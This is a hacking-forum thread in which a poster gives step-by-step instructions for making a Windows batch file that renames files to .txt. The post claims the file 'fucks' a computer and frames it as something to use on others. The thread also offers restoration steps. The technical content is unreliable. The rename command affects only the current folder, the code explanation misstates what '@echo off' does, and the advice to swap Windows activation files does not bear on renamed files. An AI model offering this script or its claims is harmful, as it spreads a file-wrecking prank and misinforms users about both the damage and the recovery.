Login Register






[Batch]Tutorial on changing all file types to another filter_list
Author
Message
[Batch]Tutorial on changing all file types to another #1

Remember to +rep and thank me for writing this guide, it'll be much appreciated and urge me to write more and more. Thank you! ~Jacob
You have my permission to copy and paste this thread into other forums. Just give credits due to where they belong.

---------------------------------------------------------------------

In this quick little tutorial I will be showing you how to change all of the files one your computer, to a single file type. For example: all .txt,.dll,.jpg,.mp3, etcetera; all changed to .exe extensions.

Although this will do harm to your computer, its reversible. I will teach you how to first.


  1. Restart your system
  2. When the system first boots, type F8 to bring up the boot menu
  3. Select the Safe Mode with Command Prompt option
  4. Log-on as administrator if needed
  5. At your command prompt type
  6. %systemroot%\system32\restore\rstrui.exe
  7. Hit Enter
  8. This will open the system restore wizard
  9. Follow the steps in the wizard


Another method of restoration if this batch is used on you



  1. Start your Windows installation in Minimal Safe mode.
  2. Move to the \%systemroot%\system32 folder.
  3. Rename wpa.dbl to wpa.noact.
  4. Rename wpa.bak to wpa.dbl.
  5. Reboot your system as normal.
Credits due to KELLYS KORNER for this method of restoration.
Note: The above procedure will work only if you've made no significant hardware changes.


Alright, hopefully that you've read the restoration portion of this tutorial, i will now continue to the batch itself.


Open notepad.
Start>All Programs>Accessories>notepad
or
[Image: 0d8a4985-b5e2-41a6-a1b6-e4bafb517937.png]+R and type "notepad.exe" (no quotes)
Copy paste this code into notepad

Spoiler:
Code:
@echo off ren *.* *.txt echo. echo. echo. Well, now that you computer is fucked. Go ahead and press space/enter =) pause >nul
You may remove the echos and pause.
Go to File>Save as
MUST change file type to "ALL FILE TYPES"
Save as "anything".BAT



Spoiler:
Code meaning:
Code:
@echo off -- removes directory ren *.* *.txt -- renames ALL files on pc, to "the name".txt echo(*) -- New lines/text pause -- Keeps cmd open, until you press any button >nul -- Hides the command it is after, from sight (background running) pause >nul -- Hides the "pause" and shows only the text on the screen not "press any key to continue..."




Reply

RE: [Batch]Tutorial on changing all file types to another #2
Thanks dude Biggrin

appreciated Smile Smile Smile

Reply

RE: [Batch]Tutorial on changing all file types to another #3
(08-01-2011, 11:55 AM)Black Sunlight Wrote: Thanks dude Biggrin

appreciated Smile Smile Smile

you're very welcome! +rep if you likey(:


Keep the requests coming! <33

Reply